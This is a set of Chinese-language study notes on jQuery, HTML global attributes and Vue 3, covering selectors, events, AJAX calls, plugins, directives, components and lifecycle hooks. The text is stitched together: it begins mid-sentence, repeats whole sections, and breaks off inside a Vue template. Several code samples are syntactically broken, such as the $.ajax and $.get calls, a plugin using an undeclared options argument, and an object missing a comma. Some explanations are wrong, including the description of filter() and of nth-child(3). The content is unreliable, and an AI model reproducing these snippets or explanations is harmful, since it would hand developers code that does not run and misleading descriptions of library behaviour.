选择input,textarea,select,button类型的元素 $(":file") // 选择input元素type属性为file的 $(":checkbox") // 选择input元素type属性为checkbox的 $(":radio") // 选择input元素type属性为radio的 $(":focus") // 选择当前输入框焦点所在的元素 $(":checked") // 选择当前被勾上的单选框和复选框 $(":enabled") // 选择当前可以输入的元素,例如input $(":disabled") // 和enabled相反,选择当前不能输入的 $(‘div:visible’) // 选择当前所有可见的div $(‘div:hidden’) // 选择当前所有隐藏的div 查找以及过滤 查找使用find(),例如: var yes = div.find(’.container’) 如果需要从父级或者祖先查找,需要用到parent(),例如: var abc = yes.parent(’.container’) // 如果过滤条件不符合,返回空jQuery对象 如果在同一级中,需要用到prev()和next(),例如: abc.prev() // 在同一级中向上 abc.next() // 在同一级中向下 过滤 这个过滤不是上面那个过滤选择器之类(那个是选择),这个是真的过滤。过滤掉不符合条件的,例如: var abc = yes.filter(’.container’) // 过滤掉div元素中带有.container类的 map()方法可以将jQuery对象包含的DOM元素转换为其他对象(例如数组,数组也是一个对象)例如: var abc = yes.map(function () { return this.innerHTML; }).get(); ##操作DOM $(.main).css({xxx : ‘xx’,xxx : ‘xx’}) // 操作多条样式(对象)多个样式用逗号分开 .addClass() // 为被选择元素添加一个类或者多个类(class属性),多个类要使用空格分隔开 .removeClass() // 为被选择元素移除一个类或者多个类(class属性),多个类要使用空格分隔开,如果没有指定要移除那个类,那么将移除全部类 .hasClass() // 检测被选择元素是否存在某个类,返回的值为布尔值 .hide() // 被选择元素隐藏,可选参数为时间,单位为毫秒 .show() // 被选择元素显示,可选参数为时间,单位为毫秒 .fadeOut() // 被选择元素隐藏,带淡出效果,可选参数为时间,单位为毫秒 .fadeIn() // 被选择元素显示,带淡入效果,可选参数为时间,单位为毫秒 .slideUp() // 被选择元素隐藏,带滑动效果,可选参数为时间,单位为毫秒 .slideDown() // 被选择元素显示,带滑动效果,可选参数为时间,单位为毫秒 .animate() // 可以修改被选择元素的样式,将样式过渡到设定值,单位为毫秒 .delay() // 可以和.animate()搭配来延长执行.animate()的功能,单位为毫秒 $(’.main’).text(‘hallo,world’); // 只能操作文本 .html(’hallo,world’) // 可以添加元素标签 .prepend(’hallo,world’) // 在前面添加 .append(’hallo,world’) // 在后面添加 .remove() // 删除 ##事件 $(’.main’).click() // 点击触发事件(单击) .ready() // 当文档加载完成才执行触发事件 .dblclick() // 双击触发事件 .mouseenter() // 当鼠标移动到元素触发事件(接触元素) .mouseleave() // 当鼠标离开元素触发事件 .mousemove() // 当鼠标在指定元素中移动时触发事件 .mousedown() // 当鼠标移动元素,并且单击时触发事件 .mouseup() // 当鼠标在元素上点击,松开鼠标按键时触发事件 .hover() // 当鼠标移动到元素和离开元素时触发事件,有两个指定函数,但进入时触发第一个函数,离开时触发第二个函数 .focus() // 当焦点在元素上时,触发事件 .blur() // 当元素失去焦点时,触发事件 .keyup() // 当键盘被松开时触发事件 .keydown() // 当键盘被点击时触发事件 .keypress() // 当在输入处键盘被按键时触发(屏蔽输入法的按键,每输入一个字符,触发一次) .scroll() // 当元素被滚动时触发(搭配overflow:scroll;使用更佳) .resize() // 当对浏览器窗口调整大小时触发 .submit() // 当提交表单时触发(只作用在form元素) .change() // 当元素的值被改变时,在失焦时触发(只适用文本域和 textarea元素,select 元素) $(’.main’).val(); // 获取或者设置值(value属性,input元素) .focus() // 当输入框得到焦点时触发 .select() // 当文本类型得到标记(被选择)时触发 .blur() // 当输入框失去焦点时触发 .submit() // 将表单数据提交到web服务器 解除事件绑定 例如: abc.click(yes) setTimeout(function(){ abc.off(“click”,yes) },1000) 时间单位为毫秒 如果不是使用函数来调用的,可以直接使用off(‘click’)来解除click事件,也可以直接用off()来解除全部被绑定事件 ##操作元素属性 $(’.main’).attr(“color”,“333”) // 设置或者返回被选元素的属性和值 .prop() // 设置或者返回被选元素的属性和值 .removeAttr() // 移除属性 注意: 操作自定义属性要使用attr(),操作元素本身就携带的固有属性推荐使用prop() AJAX jQuery提供了ajax()函数,例如: var hallo = $.ajax(‘url:/test.txt’,dataType: ’text’) ajax()需要一个可选参数,一般的参数有: url : 发送请求的地址,默认为当前页面 dataType :接收的数据格式,例如:html,text等等,如果没有提供该参数,由Content-Type来处理 async : 是否执行异步请求,没有提供该参数时,默认为true data : 发送到服务器的数据,可以是字符串,对象或者数组 success : 请求成功后的回调函数 get() jQuery提供了get方法,例如: var abc = $.get(url: /test.html,{ user: ‘root’, pass: ‘123’ }) 如果这样写,那么链接为/test.html?user=root&pass=123 post() var abc = $.post(url: /test.html,{ user: ‘root’, pass: ‘123’ }) getJSON() var abc = $.getJSON(url: /test.html,{ user: ‘root’, pass: ‘123’ }).done(function(datas){}) jQuery允许扩展jQuery来自定义方法 $.fn.hallo = function(){ this.css(‘width’,‘100px’).css(‘height’,‘100px’) return this } 调用jQuery插件 $(’.main’).hallo() jQuery插件参数 $.fn.hallo = function(){ var widths = options && options.width || ‘1920px’ var heights = options && options.height || ‘1080px’ this.css(‘width’,widths).css(‘height’,heights) return this } $(’.main’).hallo({ width: ‘800px’ height: ‘600px’ })
##第一个jQuery程序 $(‘div’).html(“hello.world”); ##DOM对象和jQuery对象互转化 jQuery对象和DOM对象是不一样的,但是都能操作DOM get()方法(jquery对象转化为DOM对象) var $main =$(’.main’); // jquer对象 var main = $main.get(0); // 通过get方法,转化成DOM对象 main.style.color = ‘#c7edcc’; // 操作DOM对象属性 DOM对象转化为jQuery对象 var main = document.getElementsByClassName(‘main’); // DOM对象 var $main = $(main); // jQuery对象 $main.css(‘color’,’#c7edcc’); // 操作jQuery对象属性 ##jQuery选择器 元素选择器 $(‘div’) ID选择器 $("#main") id是唯一性,只能在页面中使用一次 类选择器 $(’.main’) 全选择器 $(’*’) 层次选择器 $(‘div .main’) 属性选择器 $(“a[href=“https://xiaochenabc123.test.com”]”) // 选择带href属性的a元素 可以使用前缀或者后缀来选择 $(“div[name^=“yes”]”) // 选择div标签的neme属性值为yes开头的 $(“div[name$=“yes”]”) // 选择div标签的neme属性值为yes结尾的 组合选择器 $(“div[class=divs]”) 组合选择器其实就是用多个选择器组合起来 多项选择器 $(“div[class=divs],a[href=“https://xiaochenabc123.test.com”) 多项选择器就是将多个选择器用逗号组合起来 层级选择器 $(“ul.nev li.active”) 必须确保DOM元素之前具有层级关系,每个层级使用空格分开 子选择器 $(“ul.nev>li.active”) 必须确保层级关系是父子关系(不是祖先关系) 过滤选择器 $(“div:first”) // 过滤出第一个div元素 $(“ul li:first-child”) // 过滤出每个ul元素下的第一个li元素 $(“ul li:last-child”) // 过滤出每个ul元素下的最后一个li元素 $(“ul li:nth-child(3)”) // 过滤出每个ul元素下的最后一个li元素 $(“ul li:nth-child(odd)”) // 过滤出每个ul元素下个数为奇数的li元素,从1开始 $(“ul li:nth-child(even)”) // 过滤出每个ul元素下个数为偶数的li元素 $(‘div’).find(’.main’) // 选择div元素下的全部带有main类的元素 $(.main).parent() // 选择.main类的上一级(父级)元素 $(.main).parents() // 选择.main类的父(祖先)级元素 特殊选择器 $(":input”) // 选择input,textarea,select,button类型的元素 $(":file") // 选择input元素type属性为file的 $(":checkbox") // 选择input元素type属性为checkbox的 $(":radio") // 选择input元素type属性为radio的 $(":focus") // 选择当前输入框焦点所在的元素 $(":checked") // 选择当前被勾上的单选框和复选框 $(":enabled") // 选择当前可以输入的元素,例如input $(":disabled") // 和enabled相反,选择当前不能输入的 $(‘div:visible’) // 选择当前所有可见的div $(‘div:hidden’) // 选择当前所有隐藏的div 查找以及过滤 查找使用find(),例如: var yes = div.find(’.container’) 如果需要从父级或者祖先查找,需要用到parent(),例如: var abc = yes.parent(’.container’) // 如果过滤条件不符合,返回空jQuery对象 如果在同一级中,需要用到prev()和next(),例如: abc.prev() // 在同一级中向上 abc.next() // 在同一级中向下 过滤 这个过滤不是上面那个过滤选择器之类(那个是选择),这个是真的过滤。过滤掉不符合条件的,例如: var abc = yes.filter(’.container’) // 过滤掉div元素中带有.container类的 map()方法可以将jQuery对象包含的DOM元素转换为其他对象(例如数组,数组也是一个对象)例如: var abc = yes.map(function () { return this.innerHTML; }).get(); ##操作DOM $(.main).css({xxx : ‘xx’,xxx : ‘xx’}) // 操作多条样式(对象)多个样式用逗号分开 .addClass() // 为被选择元素添加一个类或者多个类(class属性),多个类要使用空格分隔开 .removeClass() // 为被选择元素移除一个类或者多个类(class属性),多个类要使用空格分隔开,如果没有指定要移除那个类,那么将移除全部类 .hasClass() // 检测被选择元素是否存在某个类,返回的值为布尔值 .hide() // 被选择元素隐藏,可选参数为时间,单位为毫秒 .show() // 被选择元素显示,可选参数为时间,单位为毫秒 .fadeOut() // 被选择元素隐藏,带淡出效果,可选参数为时间,单位为毫秒 .fadeIn() // 被选择元素显示,带淡入效果,可选参数为时间,单位为毫秒 .slideUp() // 被选择元素隐藏,带滑动效果,可选参数为时间,单位为毫秒 .slideDown() // 被选择元素显示,带滑动效果,可选参数为时间,单位为毫秒 .animate() // 可以修改被选择元素的样式,将样式过渡到设定值,单位为毫秒 .delay() // 可以和.animate()搭配来延长执行.animate()的功能,单位为毫秒 $(’.main’).text(‘hallo,world’); // 只能操作文本 .html(’hallo,world’) // 可以添加元素标签 .prepend(’hallo,world’) // 在前面添加 .append(’hallo,world’) // 在后面添加 .remove() // 删除 ##事件 $(’.main’).click() // 点击触发事件(单击) .ready() // 当文档加载完成才执行触发事件 .dblclick() // 双击触发事件 .mouseenter() // 当鼠标移动到元素触发事件(接触元素) .mouseleave() // 当鼠标离开元素触发事件 .mousemove() // 当鼠标在指定元素中移动时触发事件 .mousedown() // 当鼠标移动元素,并且单击时触发事件 .mouseup() // 当鼠标在元素上点击,松开鼠标按键时触发事件 .hover() // 当鼠标移动到元素和离开元素时触发事件,有两个指定函数,但进入时触发第一个函数,离开时触发第二个函数 .focus() // 当焦点在元素上时,触发事件 .blur() // 当元素失去焦点时,触发事件 .keyup() // 当键盘被松开时触发事件 .keydown() // 当键盘被点击时触发事件 .keypress() // 当在输入处键盘被按键时触发(屏蔽输入法的按键,每输入一个字符,触发一次) .scroll() // 当元素被滚动时触发(搭配overflow:scroll;使用更佳) .resize() // 当对浏览器窗口调整大小时触发 .submit() // 当提交表单时触发(只作用在form元素) .change() // 当元素的值被改变时,在失焦时触发(只适用文本域和 textarea元素,select 元素) $(’.main’).val(); // 获取或者设置值(value属性,input元素) .focus() // 当输入框得到焦点时触发 .select() // 当文本类型得到标记(被选择)时触发 .blur() // 当输入框失去焦点时触发 .submit() // 将表单数据提交到web服务器 解除事件绑定 例如: abc.click(yes) setTimeout(function(){ abc.off(“click”,yes) },1000) 时间单位为毫秒 如果不是使用函数来调用的,可以直接使用off(‘click’)来解除click事件,也可以直接用off()来解除全部被绑定事件 ##操作元素属性 $(’.main’).attr(“color”,“333”) // 设置或者返回被选元素的属性和值 .prop() // 设置或者返回被选元素的属性和值 .removeAttr() // 移除属性 注意: 操作自定义属性要使用attr(),操作元素本身就携带的固有属性推荐使用prop() AJAX jQuery提供了ajax()函数,例如: var hallo = $.ajax(‘url:/test.txt’,dataType: ’text’) ajax()需要一个可选参数,一般的参数有: url : 发送请求的地址,默认为当前页面 dataType :接收的数据格式,例如:html,text等等,如果没有提供该参数,由Content-Type来处理 async : 是否执行异步请求,没有提供该参数时,默认为true data : 发送到服务器的数据,可以是字符串,对象或者数组 success : 请求成功后的回调函数 get() jQuery提供了get方法,例如: var abc = $.get(url: /test.html,{ user: ‘root’, pass: ‘123’ }) 如果这样写,那么链接为/test.html?user=root&pass=123 post() var abc = $.post(url: /test.html,{ user: ‘root’, pass: ‘123’ }) getJSON() var abc = $.getJSON(url: /test.html,{ user: ‘root’, pass: ‘123’ }).done(function(datas){}) jQuery允许扩展jQuery来自定义方法 $.fn.hallo = function(){ this.css(‘width’,‘100px’).css(‘height’,‘100px’) return this } 调用jQuery插件 $(’.main’).hallo() jQuery插件参数 $.fn.hallo = function(){ var widths = options && options.width || ‘1920px’ var heights = options && options.height || ‘1080px’ this.css(‘width’,widths).css(‘height’,heights) return this } $(’.main’).hallo({ width: ‘800px’ height: ‘600px’ })
属性 accesskey 定义快捷键获取焦点,例如 GO\ 按ait+q,就会跳到指定的网页上 class 定义元素的类,开头必须是字母,多个类使用空格隔开,例如 id 定义一个id,id为唯一性,不能重复,例如 lang 定义网页或者元素的语言,例如 style 定义元素的行内样式,例如 hi tabindex 指定tab键的焦点控制,例如 GO 使用键盘的tab键盘,触发(不会跳转到网页,只是焦点) contenteditable 指定元素是否为可以编辑的,例如 hi dir 指定元素内文本的方向,例如 hi ltr默认值,从左到右 rtl,从右到左 title 指定元素的信息,一般为鼠标移动到元素是停留一段时间,显示信息,例如 hi data-xxx 用于存储一些自定义属性,data-后面必须有一个字符,不包括大写 JavaScript可以通过getAttribute获取到 draggable 指定元素是否可以拖动,默认情况下,只有图片和链接可以拖动 有3个可选值,true/false/auto,在JavaScript中可以配合拖动事件,例如 hi hidden 指定元素是否隐藏,有两个可选值,hidden/true,例如 hi contextmenu 指定div元素的菜单,目前只有 Firefox 浏览器支持 dropzone 指定元素被拖动时,拷贝、移动或链接被拖动数据,目前所有主流浏览器都不支持 spellcheck 指定元素是否进行拼写检查,有两个可选值,true/false 可以对类型为text的非密码的input元素的值,textarea 元素中的值,可编辑元素中的值 translate 指定渲染元素时是否要对内容进行翻译,目前所有主流浏览器都不支持
属性 accesskey 定义快捷键获取焦点,例如 GO\ 按ait+q,就会跳到指定的网页上 class 定义元素的类,开头必须是字母,多个类使用空格隔开,例如 id 定义一个id,id为唯一性,不能重复,例如 lang 定义网页或者元素的语言,例如 style 定义元素的行内样式,例如 hi tabindex 指定tab键的焦点控制,例如 GO 使用键盘的tab键盘,触发(不会跳转到网页,只是焦点) contenteditable 指定元素是否为可以编辑的,例如 hi dir 指定元素内文本的方向,例如 hi ltr默认值,从左到右 rtl,从右到左 title 指定元素的信息,一般为鼠标移动到元素是停留一段时间,显示信息,例如 hi data-xxx 用于存储一些自定义属性,data-后面必须有一个字符,不包括大写 JavaScript可以通过getAttribute获取到 draggable 指定元素是否可以拖动,默认情况下,只有图片和链接可以拖动 有3个可选值,true/false/auto,在JavaScript中可以配合拖动事件,例如 hi hidden 指定元素是否隐藏,有两个可选值,hidden/true,例如 hi contextmenu 指定div元素的菜单,目前只有 Firefox 浏览器支持 dropzone 指定元素被拖动时,拷贝、移动或链接被拖动数据,目前所有主流浏览器都不支持 spellcheck 指定元素是否进行拼写检查,有两个可选值,true/false 可以对类型为text的非密码的input元素的值,textarea 元素中的值,可编辑元素中的值 translate 指定渲染元素时是否要对内容进行翻译,目前所有主流浏览器都不支持
vuejs的核心层就是只关心视图层的,本笔记使用的是最新版本的vue3 vue全家桶:Vue+VueRouter+Vuex vue名字来源于法语(中文翻译为视图),可以看出其对视图层的重视 导入一般都是使用cdn导入或者直接下载vuejs进行托管,也可以使用npm安装或者使用官方的CLI来构建一个应用 https://unpkg.com/vue@next cjs版本:完整版,包含编译器 prod.js都是开发版,代码进行了压缩 global版本:可以直接通过scripts标签导入,会建立一个全局Vue对象 browser版本:包含esm,浏览器模块 bundler版本:该版本不是完整版,min vuejs模板支持所有JavaScript表达式 vuejs本身是用声明式渲染把数据渲染到html dom中,渲染格式为{{…}},例如: {{ hallovuejs }} vue本身携带了一些指令,主要特征就是带有v-前缀,用来渲染html dom上的一些行为,例如: {{ main }} 这个v-bind:href,就是将a标签的href属性绑定,v-bind可以绑定任何属性,例如class属性等等,因此可以在视图层留下一些接口指令,让vuejs来响应式渲染出视图 而vue还提供了可以绑定事件的v-on属性,例如: {{ main }} v-on可以绑定多个事件,例如: {{ main }} v-model可以进行数据的双向绑定,不但可以赋予元素中的数据,也可以获取元素中的数据,例如: {{ main }} v-show可以根据表达式的值来判断是否显示,方法和v-if一样,但是隐藏的方法是加上了display: none;,v-show不支持template和v-else,如果没有频繁切换的需求可选择v-if,频繁切换会重新渲染情况严重,而且v-show只是修改css属性而已 v-if可以进行条件判断,会根据表达式的值来判断,例如 {{ main }} 当值为false时,该元素就会被隐藏 v-else 该指令必须跟着v-if或者v-else-if指令的元素的后面,否则不会被识别,例如: {{ main }} 这是v-if判断为假时渲染,v-if判断为真时不渲染 v-else-if,必须前面的元素中有v-if或者v-else-if指令,例如: yes_no == yes yes_no == no yes_no != no||yes v-for可以多次渲染元素,例如: {{a}} 注意:当v-for和v-if出现在同级时,v-for优先级比v-if高,因此不要在v-for下,使用v-if过滤,应该在v-if下使用v-for,v-if应该使用(不会创建dom元素) v-html可以插入html v-once表示该元素或者组件只渲染一次,后面不会因为数据的改变而重新渲染 动态参数的实现 const hallo = { data() { return { main: "hallo", abc: "classa" } }, template: `hallo word` } Vue.createApp(hallo).mount("#app") vuejs提供了一个叫组件的概念,将重复的程序进行封装,用这些被封装的组件来构建大型应用,可以理解为积木 根组件:挂载应用时,该组件被认为是渲染的起点 如果想挂载一个应用到id为app的dom元素中,那么就需要挂载#app,通过一个vue实例,调用其component()方法,创建一个组件 上面简单说明了一下组件的概念,下面详细说明一下组件和组件实例 页面是这些组件的容器,因此,组件在页面中表达出来的是原生html 模板(template):模板定义了数据和html dom的绑定关系 初始数据(data):组件的初始数据,组件具有作用域,因此是处于封装私有状态的 接收的外部参数(props):组件之间通过该参数进行数据的传递和分享(单向,只能从父组件中获取,不能进行修改,父传子) 方法(methods):对数据的改动一般都在组件的方法内进行操作,通过v-on指令把输入事件和组件方法进行绑定 生命周期钩子(lifecycle hooks):每个实例都会触发多个生命周期钩子,从创建到废弃的过程就是生命周期,可以在不同时候进行逻辑处理,另外还有组件生命周期 组件:一种对数据和方法的封装 mount()返回的是组件实例 组件实例:组件继承于组件,通过createApp()建立组件实例 当需要进行数据计算处理时,例如将两个数据合并,如果通过正常的表达式来表示,那么一旦数据处理复杂了,程序会显得很繁杂,vuejs中提供了一个叫计算属性的东西,例如: {{hallo}} 样式绑定 组件是可重复使用的实例,例如: const app = Vue.createApp({}) app.component("test",{ data() { return { abc: "hallo" } }, template: ` {{abc}} word ` }) app.mount("#app") 全局组件 一般来说组件的数据是独享的,只有全局组件才能进行数据访问,例如: const app = Vue.createApp({ template: ` ` // 父组件 }) app.component("test",{ template: `` // 全局组件 }) app.component("abc",{ data() { return { text: "hallo word" } }, template: ` {{text}} ` // 全局组件 }) app.mount('#app') abc组件分享了数据给test组件 局部组件 const Test_date ={ template: "hallo word " // 局部组件 } const Test_datea ={ template: "hallo hhh " // 局部组件 } const app = Vue.createApp({ components: { "test" :Test_date Test_datea } }).mount('#app') 其中test为组件名,指向了Test_date局部组件, 父子组件之间传递数据 静态传值只能传字符串类型,如果要传其他数据类型或者想动态传递数据,可以使用v-bind 通过循环来输出一组数据 传值校验 props中的值进行验证,例如: vuejs事件修饰符 .stop:阻止冒泡事件的发生,只触发自身的事件,一个子元素定义了事件,但是它的父元素也定义了一个事件,而且这两个事件的触发机制还是一样的,那么就会导致这两个事件都触发,而想避免发生就需要在目标元素上的事件加上.stop,例如: .prevent:拦截默认事件的发生,有一些标记拥有自身的默认事件,例如a标记,例如: {{data}} 这里阻止了a标记的默认事件 .capture:捕获事件,当发生冒泡事件时,先触发带有该修饰符的,如果有多个,则从父元素到子元素触发 触发机制:优先触发带有.capture的,然后再按照从内往外的冒泡 .self:只有当事件在该元素上时才触发,冒泡和捕获都无法让其触发事件,只要当事件发生在该元素本身才会触发 .once:指定该绑定的事件只会触发一次 .stop和.self的区别:.stop会阻止全部冒泡事件,而.self只阻止自身的冒泡 .passive:每一次发生事件,浏览器都去查询有没有preventDefault来阻止该事件的默认行为,.passive就是来声明,没有使用preventDefault来阻止该事件的默认行为,因为其是告诉没有使用阻止事件的默认行为,所有passive是和prevent冲突,不能一起使用,否则.prevent会被忽略 因为在移动端,一般都是监听滚动事件比较多,而每移动一次都会触发一次事件,会进行查询有没有使用prevent,可能会导致滑动卡顿,使用passive能有效提升移动端的性能和流畅度 生命周期钩子函数会在某一些特定的时刻自动触发,方便在该时刻完成一些工作 vue实例生命周期 vue实例的创建,运行,到销毁期间,会触发一些叫生命周期钩子的函数,可以通过该来监听数据变化 按照生命周期排序: beforeCreate:实例刚刚初始化之后,数据观察和事件机制(data 和 methods)都还未初始化,不能获取dom节点 created:数据观察和事件机制(data 和 methods)都已经初始化,dom节点处理完成,组件未加载 beforeMount:实例已经加载完毕,但是还没有执行挂载操作,得不到具体的DOM元素 mounted:实例已经加载完毕,也执行了挂载操作,DOM已被渲染出来 beforeUpdate:处于数据更新之前,data中的值是最新的,但是页面上还是旧的数据,还没有重新处理dom节点 updated:处于数据更新之后,data中的值和页面上的数据都已经更新,dom节点也被重新处理 beforeUnmount:实例销毁之前,实例还是在可用状态,可使用this获取实例 unmounted:实例销毁后,数据绑定和事件监听器全部清除,子实例销毁 例如: const app = Vue.createApp({ data(){ return{ message: 'hallo word' } }, beforeCreate() { console.log("beforeCreate") }, created() { console.log("created") }, beforeMount(){ console.log("beforeMount") }, mounted() { console.log("mounted") }, beforeUpdate() { console.log("beforeUpdate") }, updated() { console.log("updated") }, beforeUnmount() { console.log("beforeUnmount") }, unmounted() { console.log("unmounted") }, template: "{{message}}" }) let main = app.mount("#app") setTimeout(()=>{ main.$data.message = 'abc' // 挂载3秒后触发更新事件 },3000) setTimeout(() => { app.unmount() // 6秒后触发销毁事件 }, 6000) 访问组件的生命周期 vue组件周期 实例生命周期加on就是组件周期 beforeCreate和created统一为setup() beforeMount为onBeforeMout,mounted为onMounted,beforeUpdate为onBeforeUpdate,updated为onUpdated,beforeUnmount为onBeforeUnmount,unmounted为onUnmounted setup:data 和 method 都已经初始化 onBeforeMount:组件被挂载到dom节点之前 onMounted:组件被挂载到dom节点完毕 onBeforeUpdate:组件更新之前 onUpdated:组件更新之后 onBeforeUnmount:组件销毁之前 onUnmounted:组件销毁完毕之后 onErrorCaptured:当捕获到来自子孙组件的异常时 onRenderTracked:当虚拟DOM重新渲染时调用 onRenderTriggered:当虚拟DOM重新渲染被触发时调用 onActivated:当被包含在中的组件时 onDeactivated: 当被包含在中的组件发生改变时(例如切换组件,原来的组件销毁时) 注意:使用的组件会把数据保留在内存中,避免需要重新加载多次数据 实例的data()是一个函数,并非方法,vue在创建vue的组件实例过程中会调用该函数,以$data的形式进行存储在vue实例中,data中的所有值都可以通过实例来暴露(访问或者修改),例如: const hallo = Vue.createApp({ data() { return { hallovuejs: "hallo vuejs!" } } }).mount("#app") console.log(hallo.$data.hallovuejs) console.log(hallo.hallovuejs) 方法 vue允许使用methods向组件实例添加方法 vue会自动为methods绑定this,使其始终指向组件实例 methods一样可以在组件模板中暴露,也可以在模板中用做事件监听 计算属性 计算属性和方法的区别就是:计算属性只在其依赖发生变化才重新计算,只要依赖未发生改变,那么就会直接从缓存中获取,不会再执行其函数 如果使用一个方法来计算时,那么data()返回的值,发生一次改变,事件方法就会重新计算一次,因此涉及计算类的使用计算属性,而不是方法 例如: const app = Vue.createApp({ data() { return { hallovuejs: "hallo vuejs!" } }, computed: { hallo(){ return this.hallovuejs == "hallo vuejs!" ? "Yes" : "No" } } }).mount("#app") watch监听器 watch接收2个参数,被监听的data()属性值,回调函数,当监听的变量发生改变时,自动执行回调函数,例如 const app = Vue.createApp({ data() { return { num: 100 } }, watch: { num(current, prev) { console.log('num发生改变') console.log("改变之后的值:", current) console.log("改变之前的值:", prev) } } }) let vm = app.mount("#app") vm.num = 300 vm.$data.num = 600 另外一种使用方法 const count = ref(100) watch(count,(current, prev) => { console.log('num发生改变') console.log("改变之后的值:",current) console.log("改变之前的值:",prev) }) watch和计算属性的区别:虽然都可以监听data()属性值的改变,但是计算属性会在页面渲染时触发一次,而watch只在被监听的发生改变时触发,而且watch可以得到改变之后的值和改变之前的值 watch可以监听多个值 class绑定 vue允许使用:class对象来动态切换class,例如: 而class的存在取决于键值对的值,允许传入多个值,也可以直接调用对象,例如: vue也允许通过数组来传入class,例如: 同样也允许使用三元表达式,例如: 始终添加classa,classnav取决已经no的值 vue也是允许在数组中使用对象来处理 如果在组件中已经绑定了class,而在调用其又加上其他class,那么就会合并,vue允许在组件中进行:class,如果有多个元素,在调用时绑定class,但是又想指定其class给予某个,可以使用$attrs组件属性,例如: 上面只有vuejs接收到class 内联样式绑定(:style) 例子: 多重值 一般来说只会选择最后一个(前提是浏览器支持) 列表渲染 v-for可以将一个数组迭代成一组元素 使用的形式是 item in items,items为数组,item为迭代的元素,例如: {{ item.message }} in可以用of替代 v-for也可以使用对象(从某个角度来看,数组也是对象的一种),例如: {{ key }}:{{ item }} 自定义指令(directive) vue允许指定义指令,例如: 这里的abc指定的是当前元素 局部指令:组件中接受directives选项 指令的钩子函数 created:当绑定元素的属性和事件监听器被应用之前调用 beforeMount:当指令第一次绑定到元素并且在挂载父组件之前调用 mounted:绑定元素的父组件被挂载后调用 beforeUpdate:更新包含组件的VNode之前调用 updated:包含组件的VNode及其子组件的VNode更新后调用 beforeUnmount:在卸载绑定元素的父组件之前调用 unmounted:当指令与元素解除绑定,并且父组件也被卸载时调用一次 表单输入绑定 v-model可以用于数据的双向绑定,但是v-model会忽略表单元素的初始值,而使用实例中的数据作为数据源(需要在data中声明初始值) 复选框的数据绑定返回的是布尔值,也是可以将数据绑定到一个数组中,例如: hallo abc xyz data: {{datas}} 单选框(radio),数据存放在字符串中,输出的也是字符串(选择框和输入框也是字符串) 如果想输入或者选择返回的不是字符串,而是其他类型,可以使用v-model.number,当然也是可以进行手动转类型,但是v-model.number可以自动判断输入是否是数字还是字符串 true-value和false-value可以在被选中或者取消选中时触发,例如: data: {{datas}} v-model.lazy是v-model数据双向绑定的懒加载,在每次input事件(失去焦点)触发后将输入框的值与数据进行同步 v-model.trim可以自动过滤掉输入数据的首尾空格 组件 全局注册 app.component 局部注册 const componentA = {} components: { 'component-a': componentA, } 局部注册的组件,在其子组件是不可用的 通过Props传递数据给子组件 通过Props共享一些数据,例如: app.component('titles', { props: ['title'], template: `{{ title }}` }) 在上面的例子里,title=“hallo"被传递数据给模板,任何值的可以传递给props,如果一个值被传递给props属性,那么这个值就成了这个组件实例的共享数据,这个值可以在模板中访问 监听子组件事件 使用自定义事件监听子组件,通过子组件事件来告诉父组件应该做什么,例如: template: ` app ` 也可以在组件的emits中列出事件 app.component({ emits: ["hallomain"] }) 事件也可以用来返回一个值 app 这个值可以使用$event访问到,事件也可以是指向方法的,用事件来触发方法的使用,例如:@hallomain= “hallo” 给这个方法定义一下,在methods选项 组件也可以使用v-model(model-value) 如果是表单元素,例如input也想用自定义事件,需要将value绑定到props上,当input事件被触发时,就会将value通过自定义事件抛出,例如: app.component({ props: ["valueData"], emits: ["hallomain"], template: `
vuejs的核心层就是只关心视图层的,本笔记使用的是最新版本的vue3 vue全家桶:Vue+VueRouter+Vuex vue名字来源于法语(中文翻译为视图),可以看出其对视图层的重视 导入一般都是使用cdn导入或者直接下载vuejs进行托管,也可以使用npm安装或者使用官方的CLI来构建一个应用 https://unpkg.com/vue@next cjs版本:完整版,包含编译器 prod.js都是开发版,代码进行了压缩 global版本:可以直接通过scripts标签导入,会建立一个全局Vue对象 browser版本:包含esm,浏览器模块 bundler版本:该版本不是完整版,min vuejs模板支持所有JavaScript表达式 vuejs本身是用声明式渲染把数据渲染到html dom中,渲染格式为{{…}},例如: {{ hallovuejs }} vue本身携带了一些指令,主要特征就是带有v-前缀,用来渲染html dom上的一些行为,例如: {{ main }} 这个v-bind:href,就是将a标签的href属性绑定,v-bind可以绑定任何属性,例如class属性等等,因此可以在视图层留下一些接口指令,让vuejs来响应式渲染出视图 而vue还提供了可以绑定事件的v-on属性,例如: {{ main }} v-on可以绑定多个事件,例如: {{ main }} v-model可以进行数据的双向绑定,不但可以赋予元素中的数据,也可以获取元素中的数据,例如: {{ main }} v-show可以根据表达式的值来判断是否显示,方法和v-if一样,但是隐藏的方法是加上了display: none;,v-show不支持template和v-else,如果没有频繁切换的需求可选择v-if,频繁切换会重新渲染情况严重,而且v-show只是修改css属性而已 v-if可以进行条件判断,会根据表达式的值来判断,例如 {{ main }} 当值为false时,该元素就会被隐藏 v-else 该指令必须跟着v-if或者v-else-if指令的元素的后面,否则不会被识别,例如: {{ main }} 这是v-if判断为假时渲染,v-if判断为真时不渲染 v-else-if,必须前面的元素中有v-if或者v-else-if指令,例如: yes_no == yes yes_no == no yes_no != no||yes v-for可以多次渲染元素,例如: {{a}} 注意:当v-for和v-if出现在同级时,v-for优先级比v-if高,因此不要在v-for下,使用v-if过滤,应该在v-if下使用v-for,v-if应该使用(不会创建dom元素) v-html可以插入html v-once表示该元素或者组件只渲染一次,后面不会因为数据的改变而重新渲染 动态参数的实现 const hallo = { data() { return { main: "hallo", abc: "classa" } }, template: `hallo word` } Vue.createApp(hallo).mount("#app") vuejs提供了一个叫组件的概念,将重复的程序进行封装,用这些被封装的组件来构建大型应用,可以理解为积木 根组件:挂载应用时,该组件被认为是渲染的起点 如果想挂载一个应用到id为app的dom元素中,那么就需要挂载#app,通过一个vue实例,调用其component()方法,创建一个组件 上面简单说明了一下组件的概念,下面详细说明一下组件和组件实例 页面是这些组件的容器,因此,组件在页面中表达出来的是原生html 模板(template):模板定义了数据和html dom的绑定关系 初始数据(data):组件的初始数据,组件具有作用域,因此是处于封装私有状态的 接收的外部参数(props):组件之间通过该参数进行数据的传递和分享(单向,只能从父组件中获取,不能进行修改,父传子) 方法(methods):对数据的改动一般都在组件的方法内进行操作,通过v-on指令把输入事件和组件方法进行绑定 生命周期钩子(lifecycle hooks):每个实例都会触发多个生命周期钩子,从创建到废弃的过程就是生命周期,可以在不同时候进行逻辑处理,另外还有组件生命周期 组件:一种对数据和方法的封装 mount()返回的是组件实例 组件实例:组件继承于组件,通过createApp()建立组件实例 